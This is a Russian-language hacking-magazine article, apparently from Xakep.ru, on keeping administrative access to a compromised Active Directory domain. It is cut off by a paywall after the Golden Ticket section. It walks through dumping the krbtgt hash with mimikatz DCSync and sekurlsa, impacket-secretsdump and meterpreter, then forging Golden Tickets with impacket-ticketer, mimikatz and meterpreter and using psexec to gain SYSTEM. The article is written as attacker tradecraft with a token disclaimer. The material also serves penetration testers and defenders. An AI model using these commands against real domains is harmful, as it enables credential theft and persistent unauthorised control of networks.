Следующая новость
Предыдущая новость

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен

15.04.2020 16:22
Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен

Содержание статьи

  • Другие статьи про атаки на Active Directory
  • Kerberos Golden Tickets
  • Ticketer
  • Mimikatz
  • Meterpreter
  • Kerberos Silver Ticket
  • Ticketer
  • Mimikatz
  • SIDHistory
  • Golden Ticket + SIDHistory
  • AdminSDHolder
  • DCShadow

Представь, что мы скомпрометировали привилегированные учетные записи, используя разные техники повышения привилегий, распространились по сети, скрылись от средств обнаружения, но неожиданно потеряли контроль над доменом, потому что администратор по какой-то причине сменил пароль! В сегодняшней статье мы разберем способы сохранить административный доступ, даже если администратор сменил пароли или разрешения.

Другие статьи про атаки на Active Directory

  1. Разведка в Active Directory. Получаем пользовательские данные в сетях Windows без привилегий
  2. Атаки на Active Directory. Разбираем актуальные методы повышения привилегий
  3. Боковое перемещение в Active Directory. Разбираем техники Lateral Movement при атаке на домен
  4. Защита от детекта в Active Directory. Уклоняемся от обнаружения при атаке на домен
  5. Защита от детекта в Active Directory. Как обмануть средства обнаружения при атаке на домен
  6. Сбор учеток в Active Directory. Как искать критически важные данные при атаке на домен

WARNING

Вся информация предоставлена исключительно в ознакомительных целях. Ни редакция, ни автор не несут ответственности за любой возможный вред, причиненный информацией из этой статьи.

Kerberos Golden Tickets

Один из способов сохранить доступ к системе — сформировать Golden Ticket: пароль учетной записи krbtgt не будет изменен при тех же условиях, при которых может быть изменен пароль администратора.

Golden Ticket — это поддельные билеты для выдачи билетов, также называемые аутентификационными билетами (они же TGT). Если посмотреть на схему аутентификации Kerberos в случае Golden Ticket, то можно заметить, что подлинность Kerberos не проверяется (AS-REQ и AS-REP с контроллером домена). Так как Golden Ticket является поддельным TGT, он отправляется контроллеру домена как часть TGS-REQ для получения билета TGS.

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Схема аутентификации Kerberos c Golden Ticket

Золотой билет Kerberos — действительный билет Kerberos TGT, поскольку он зашифрован и подписан доменной учетной записью Kerberos (krbtgt). А так как TGT зашифрован хешем пароля krbtgt и может быть расшифрован любой службой KDC в домене, то билет и воспринимается как реальный. Для того чтобы сделать Golden Ticket, нам необходимо знать следующее:

  1. SPN домена.
  2. SID домена.
  3. NTLM-хеш доменной учетной записи krbtgt.
  4. Имя пользователя, под которым будет работать оператор (даже если такого пользователя не существует).

Так как имя пользователя можно использовать любое, остается найти три недостающих компонента. Название и SID домена можно узнать с помощью PowerShell-команды Get-ADDomain.

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
SID и имя домена

Теперь нужно получить NTLM-хеш учетной записи krbtgt. Сделать это можно как удаленно, так и с помощью mimikatz. С использованием mimikatz у оператора есть выбор: выполнить атаку DCSync, используя базу Security Account Managers (SAM), или задействовать модуль sekurlsa.

mimikatz # lsadump::dcsync /user:krbtgt 
Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Получаем хеши с помощью mimikatz, используя атаку DCSync
mimikatz # privilege::debug mimikatz # lsadump::lsa /inject /name:krbtgt 
Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Получаем хеши с помощью mimikatz, используя базу SAM
mimikatz # sekurlsa::krbtgt 
Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Получаем хеши с помощью mimikatz, используя модуль sekurlsa

Удаленная атака выполняется также с использованием DCSync или при наличии открытой сессии meterpreter.

impacket-secretsdump domain.dom/root@192.168.6.100 
Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Получение хешей с помощью secretsdump

Существует два варианта использования meterpreter: при помощи hashdump и dcsync_ntlm (для второго нужно загрузить модуль kiwi).

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Получение хешей с помощью meterpreter hashdump
Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Получение хешей с помощью meterpreter dcsync_ntlm

С помощью полученной информации можно создать и применить Golden Ticket. Сделаем это тремя способами: используя mimikatz, удаленно с помощью ticketer и с использованием meterpreter.

Ticketer

Первым делом следует создать билет. Для этого используем скрипт ticketer из пакета impacket (напомню, что имя пользователя можно выдумать любое).

impacket-ticketer -nthash 08f5bf2e292d77d8e460d3926a0d90de -domain-sid S-1-5-21-719111203-942671344-1831409528 -domain domain.dom anyuser 
Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Создание Golden Ticket с помощью ticketer

В текущей директории создан билет anyuser.ccache. Экспортируем его.

export KRB5CCNAME=anyuser.ccache 

Теперь подключимся с помощью psexec из того же пакета impacket.

python3 psexec.py -k -no-pass [домен]/[пользователь]@[имя хоста] 
Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Подключаемся к хосту, используя golden ticket

Получаем удаленное управление с правами SYSTEM.

Mimikatz

Создадим поддельный золотой билет с помощью mimikatz.

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Создание golden ticket с помощью mimikatz

Если в данной команде не использовать параметр /ptt, то билет будет просто сохранен в текущей директории. В данном случае он сразу будет кеширован в памяти. Давай проверим это, вызвав командную строку.

mimikatz # misc::cmd 

Теперь, выполнив команду klist, наблюдаем кешированный Golden Ticket.

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Создание Golden Ticket с помощью mimikatz

Meterpreter

Для работы с meterpreter будем использовать модуль kiwi. Первым делом создадим Golden Ticket.

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Создание Golden Ticket с помощью meterpreter

Теперь применим его.

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Применение Golden Ticket с помощью meterpreter

И проверим, что билет успешно загружен.

Закрепляемся в Active Directory. Как сохранить доступ при атаке на домен
Загруженный Golden Ticket

Таким образом, у нас остается возможность работы с повышенными привилегиями, при этом мы не используем учетных данных администраторов. Это означает, что мы можем получить доступ всегда, даже при смене паролей пользователей, изменении их ролей и даже при удалении скомпрометированных учетных записей.

Продолжение доступно только участникам

Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».

Присоединяйся к сообществу «Xakep.ru»!

Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее

1 год

7690 р.

1 месяц

720 р.

Я уже участник «Xakep.ru»

Источник

Последние новости